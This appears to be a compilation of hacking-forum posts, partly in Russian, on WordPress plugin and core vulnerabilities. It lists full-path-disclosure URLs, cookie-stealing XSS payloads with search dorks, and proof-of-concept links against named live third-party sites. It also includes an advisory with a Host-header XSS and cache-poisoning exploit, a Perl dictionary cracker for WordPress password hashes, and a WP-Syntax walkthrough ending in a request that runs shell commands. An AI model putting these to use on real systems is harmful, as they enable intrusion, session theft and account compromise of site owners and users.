Full path disclosure:
Код:
http://site/wp-content/plugins/firestats/js/firestats.js.php
http://site/wp-content/plugins/firestats/php/ajax-handler.php?FS_FULL_INSTALLATION=1
http://site/wp-content/plugins/firestats/php/footer.php
http://site/wp-content/plugins/firestats/php/page-help.php
http://site/wp-content/plugins/firestats/php/page-import.php
http://site/wp-content/plugins/firestats/php/page-settings.php
http://site/wp-content/plugins/firestats/php/page-stats.php
http://site/wp-content/plugins/firestats/php/tabbed-pane.php
http://site/wp-content/plugins/firestats/php/ezsql/mysql/demo.php
http://site/wp-content/plugins/firestats/php/ezsql/mysql/disk_cache_example.php
http://site/wp-content/plugins/firestats/php/ip2c/benchmark.php
http://site/wp-content/plugins/firestats/php/ip2c/ip2c_test.php
http://site/wp-content/plugins/firestats/php/unzip/sample.php

##################################################  ###############################################
#
# WordPress Simple Tagging Widget Cross Site Scripting Vulnerability (XSS)
#
# Script: http://wordpress.org/extend/plugins/simple-tagging-widget/
#
##################################################  ###############################################
#
# Author : kernel_panic
#
# Site : www.codebomb.org
#
# Mail : kernel_panic@codebomb.org
#
##################################################  ###############################################
#
# DORK  : Try to find your own using Google. The vulnerable sites
# are: www.site.com/?tag=[XSS] or www.site.com/folder/?tag=[XSS]
#
##################################################  ###############################################
EXAMPLE:
http://site.com/?tag=[XSS]
   
e.g.: [XSS]: <script>alert(/XSS/)</script> or try to use others
in order to work
   
POC:
http://www.wiggler.gr/?tag=%3Cscript%3Ealert(/XSS/)%3C/script%3E
http://dialogos.pasok.gr/?tag=%3Cscript%3Ealert(/XSS/)%3C/script%3E
http://www.programacionweb.net/buscador/?tag=%22%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscri  pt%3E
   
##################################################  #################################################

##################################################  ##############  
#  
# Author: FeDeReR and sinner_01  
# Home  : www.darkc0de.com & www.hacking.ge
#  
# Email : FeDeReR@avoe.ge & sinn3r01@gmail.com
#  
# Share the c0de!  
#  
##################################################  ##############  
#  
# Xss
#  
# Soft.Site: http://www.wordpress.com/  
#  
# Dork:Wordpress Forum 1.7.4
#  
# Dork 2:Fredrik Fahlstad. Version: 1.7.4.
#  
# Xss: http://site.com/path/?forumaction=search
#   
# Search: <script>alert(document.cookie)</script>
#  
# Xss 2: http://site.com/path/?forumaction=showforum&forum=1
#  
# Post a new topic and type: <script>alert(document.cookie)</script>

===== noXSS.org Security Advisory ======

  Advisory: WordPress XSS vulnerability in RSS Feed Generator
  Author: Jeremias Reith <jr (at) noxss (dot) org [email concealed]>
  Published: 2008/11/25
  Affected: WordPress < 2.6.5

  Summary
  =======

  WordPress prior to v2.6.3 fails to sanitize the Host header variable
  correctly when generating RSS feeds and is therefore prune to XSS
  attacks.

  Web Sites running in a name based virtual hosting setup are not
  affected as long as they are not the default virtual host.
  Moreover we only found installations running on the Apache web server
  to be affected.

  Vulnerability Details
  =====================

  The function self_link() in wp-includes/feed.php is used to generate
  absolute URLs for the <atom:link> tag in ATOM and RSS 2.0 feeds:

  function self_link() {
  echo 'http'
  . ( $_SERVER['https'] == 'on' ? 's' : '' ) . '://'
  . $_SERVER['HTTP_HOST']
  . wp_specialchars(stripslashes($_SERVER['REQUEST_URI']), 1);
  }

  The function does not sanitize the HTTP_HOST variable in any way but
  WordPress replaces all $_SERVER variables with escaped ones in
  wp-settings.php:

  $_SERVER = add_magic_quotes($_SERVER);

  In almost all setups add_magic_quotes() runs
  mysql_real_escape_string() over the elements and returns the modified
  array. Unfortunately this escaping method is not safe in markup
  context.

  PoC
  ====

  The Apache web server only disallows '/', '\' and '..' within the host
  header. The header can therefore contain markup making the following
  PoC possible:

  curl -H "Host: \"><body onload=alert(String.fromCharCode(88,83,83))>" http://www.example.org/blog/feed

  The given example request will return (without additional newlines):

  -- snip --
  ...
  <atom:link href="http://\">
  <body onload=alert(String.fromCharCode(88,83,83))>
  /blog/feed" rel="self" type="application/rss+xml" />
  ...
  -- snip --

  The embedded JavaScript will be executed in Firefox 3.0.4 due to the
  triggered switch to Quirks mode.

  Exploit
  =======

  The following exploit is a semi-stored XSS attack and has been tested
  with the following setup:

  - Apache 2.x with IP based virtual hosting
  - Wordpress 2.6.3 installed in /blog/
  - WP Super Cache 0.84
  - Firefox 3.0.4

  WP Super Cache is a popular WordPress plugin that adds static file
  caching to WordPress. It greatly increases performance and is
  often used. It saves generated pages in the wp-content/cache directory
  and adds mod_rewrite rules to serve cached pages statically.

  Issuing a malicious request to a vulnerable WordPress installation
  will lead to a file containing the XSS to be generated and placed
  within the document root.

  Request:
  curl -H "Host: \"><body onload=alert(String.fromCharCode(88,83,83))>" http://www.example.org/blog/feed

  Generated file:
  http://example.org/blog/wp-content/cache/wp-cache-#md5sum#.html

  Firefox will execute the embedded JavaScript even tough the feed is
  XML because the file is served as text/html.

  The only missing the step is the calculation cached file's MD5 sum.

  The following code generates the MD5 checksum:

  php -r 'echo md5("\"><body  
  onload=alert(String.fromCharCode(88,83,83))>".
  "/blog/feed"), "\n";'

  In the default setup the MD5 sum can be generated by concatenating the
  contents of HTTP_HOST and REQUEST_URI resulting in
  0d2ca4617758433a7864d57493be2c5b for the given example.

  This file can be accessed until the cache expiration mechanism removes
  it. The default expire time is 3600 seconds.

  Vendor Response
  ===============
  2008-11-17 Reported to vendor
  2008-11-17 Initial response from vendor
  2008-11-25 Release of version 2.6.5

##################################################  ###############
#Wordpress 2.7 PasswordHash Attack Tool
#It is based in "Portable PHP password hashing framework"
#for Wordpress 2.7
#Autor: netsoul
#Thanks to Waraxe and m1cr0n
#Contact: netsoul2[at]gmail.com
#ALTO PARANA - PARAGUAY
##################################################  ###############

#! /usr/bin/perl -w
use strict;
use Digest::MD5 qw(md5 md5_hex);
use List::Util qw(min);

my $hashP = '$P$BS5/b7lxp4t.0j1ZFTyRcdrvAyxh5R0'; # 12345
my $dictionary = 'mydic.txt'; # Put a dictionary
my $php_version = '5'; # Don't modify if you don't know it

open (f1, "<$dictionary") || die "Error in open file!.\n";
     $hashP =~ m{^(\$P\$[/a-zA-Z0-9.]+)};
     die "Bad hash!\n" if length($1) != 34;
     my ($itoa64) = join('', my @itoa64 =
('.','/','0'..'9','A'..'Z','a'..'z'));
     my ($salt, $hash)=$hashP=~m/^(.{0,12})(.+)/;
     my ($header)=$salt=~m/^(.{0,3})/;
     while (<f1>) {
     chomp($_);
     print "Current Password: $_\r";
     my $found = &finder($_,$salt,$hash);
     print "\nPassword FOUND: $_" and last if $found;
     print "\nPassword NOT FOUND:" if eof;
     }
close f1;

sub b64{
     my $input = $_[0];
     my @input = split(//,$input);
     my $count = $_[1];
     my $output = '';
     my $i;
     do {
     my $value = ord($input[$i++]);
     $output .= $itoa64[$value & 0x3f];
     if ($i < $count){
         $value |= ord($input[$i]) << 8;
     }
     $output .= $itoa64[($value >> 6) & 0x3f];
     if ($i++ >= $count){
         return $output;
     }
     if ($i < $count){
         $value |= ord($input[$i]) << 16;
     }
     $output .= $itoa64[($value >> 12) & 0x3f];
     return $output if $i++ >= $count;
     $output .= $itoa64[($value >> 18) & 0x3f];
     } while ($i < $count);
     return $output;
}

sub EncryptP{
     my $password = $_[0];
     my $setting = $_[1];
     my @setting = split(//,$setting);
     my $hash;
     my $output = '*0';
     $output = '*1' if substr($setting, 0, 2) eq $output;
     return $output if substr($setting, 0, 3) ne $header;
     my $count_log2 = index($itoa64, $setting[3]);
     if ($count_log2 < 7 || $count_log2 > 30){
     return $output;}
     my $count = 1 << $count_log2;
     my $salt = substr($setting, 4, 8);
     return $output if length($salt) != 8;
     if ($php_version >= '5') {
     $hash = md5($salt . $password);
     do {
         $hash = md5($hash . $password);
     } while (--$count);

     } else {
     $hash = pack('H*', md5_hex($salt . $password));
     do {
         $hash = pack('H*', md5_hex($hash . $password));
         } while (--$count);
     }
     $output = substr($setting, 0, 12);
     $output .= &b64($hash, 16);
     return $output;
}

sub HashP{
     my $password = $_[0];
     my $salt = $_[1];
     my $hash;
     $hash = &EncryptP($password,$salt);
     return $hash if length($hash) == 34;
}

sub CheckP{
     my $password = $_[0];
     my $stored_hash = $_[1];
     my $hash = &EncryptP($password,$stored_hash);
     return $hash;
}

sub finder{
     my $password = $_[0];
     my $salt = $_[1];
     my $hash = $_[2];
     my $output = &CheckP($password,&HashP($password,$salt));
     return $output eq $salt.$hash;
}

WP-Syntax - это самый популярный плагин для wordpress для подсветки кода. Его используют на многих сайтах, например Стефан Эссер использует его на своем блоге. Для меня этот плагин представлял интерес, так как обнаружил его в блоге довольно крупной фарма-партнерки. Проведя анализ исходного кода, я нашел достаточно необычную уязвимость, поэтому решил создать отдельную тему. Возможно у кого-нибудь возникнут замечания или мысли по поводу более изящного решения.

  WP-Syntax использует библиотеку GeSHi, которая и реализует весь функционал по разбору синтаксиса и составления соответствующего для каждого языка html-кода. Разобрав главный скрипт плагина wp-syntax.php, я перешел к папке test, где хранилось 2 скрипта: index.php и code.php. Code.php содержал примеры кода для разных языков, а index.php выводил их с подсветкой для демонстрации возможностей плагина. Index.php инклудит wp-syntax.php, который в свою очередь подключает geshi.php. По замыслу разработчика wp-syntax.php может вызываться только из контекста WP, в то время как test/index.php может запускаться независимо от платформы, при этом автор решил использовать самопальное подобие механизма WP для выполнения callback-функций. Кто знаком с внутренним устройством WP или хотя бы видел часть кода может понять, что я говорю о функциях add_action(), do_action(), apply_filters() и др.  

  Самореализованная ф-ция apply_filters выглядит следующим образом:

PHP код:
  function apply_filters($tag, $string)  
{  
     global $test_filter;  

     if (!isset($test_filter[$tag])) return $string;  

     uksort($test_filter[$tag], "strnatcasecmp");  

     foreach ($test_filter[$tag] as $priority => $functions)  
     {  
         if (is_null($functions)) continue;  

         foreach($functions as $function)  
         {  
             $string = call_user_func_array($function, array($string));  
         }  
     }  
     return $string;  
}   

  Глобальный массив test_filter нигде ранее не инициализируется, поэтому появляется возможность добавить в него произвольные элементы при register_globals=on и впоследствии выполнить любую функцию с помощью call_user_func_array. В WP есть специальная ф-ция - unregister_globals, защищающая от подобных уязвимостей, но здесь другой случай - скрипт работает вне контекста WP.
  apply_filters вызывается в нескольких местах, один их них:

PHP код:
  <html>  
<head>  
<title>WP-Syntax Test Page</title>  
<link rel="stylesheet" href="../wp-syntax.css" type="text/css" media="screen" />  
<?php  
test_head();  

/* ... */  

function test_head()  
{  
   echo apply_filters("wp_head", "");  
}  
?>   

  Как видим сложность данного случая заключается в том, что нельзя выполнить функцию с произвольными аргументами - будет передаваться один пустой аргумент с типом string. С первого взгляда мне показалось, что даже банальный phpinfo() выполнить не удастся, так как он принимает аргумент только с типом integer, иначе возникнет ошибка уровня E_WARNING. Однако вникнув в логику ф-ции apply_filters становится ясным, что изменить аргумент для call_user_func_array() можно, так как она выполняется в цикле и присваивает свой результат аргументу для следующей callback-функции. Иначе говоря с помощью специально составленной цепочки функций можно бы было получить -1 и передать это значение в phpinfo (-1 = INFO_ALL). Тут я начал вспоминать все функции PHP, которые могли бы мне помочь в данной ситуации. Как оказалось многие функции, не принимающие аргументов, вызывают ошибку, если предать в них пустое значение. Тем не менее, нужная мне последовательность вызовов функций была найдена:

http://localhost/wp/2.7/wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=pi&test_filter[wp_head][99][1]=cos&test_filter[wp_head][99][2]=phpinfo

  Сперва вызывается функция pi(), возвращающая значение числа pi. Как ни странно, эта функция, несмотря на отсутствие принимаемых аргументов, не вызывает ошибку "Wrong parameter count for". Далее идет вызов функции cos(), в которую передается значение числа pi. Как известно, cos(pi) = -1, поэтому в phpinfo() попадает нужное значение и выводятся все данные.

  Казалось большего уже не достичь, но я продолжал поиск способа для выполнения произвольных команд. Необходимо было найти функцию, которая возвращала бы нужные для меня данные. Эти данные можно бы было получить из окружения, но подходящих функций не попадалось. Однако способ все-таки был найден =)
  Ф-ция session_id() может как возвращать значение текущего идентификатора сессии, так и устанавливать его, если был передан аргумент. Мне естественно нужно было получить значение, но как быть с пустым параметром, который постоянно передавался? Я решил проверить возвращаемые значения таким скриптом:

PHP код:
<?php  
session_start("");  
echo session_id();  
echo session_id("");  
echo session_id();  
?>  

  Выяснилось, что session_id возвращает значение прошлого идентификатора, несмотря на то, что в функцию был передан параметр. Не знаю баг это или нет, но в доках по этому поводу ничего не сказано. В итоге финальный запрос выглядит следующим образом:

Цитата:
GET /wp/2.7/wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=session_start&test_filter[wp_head][99][1]=session_id&test_filter[wp_head][99][2]=system HTTP/1.0
  Host: localhost
  Cookie: PHPSESSID=dir
  Connection: close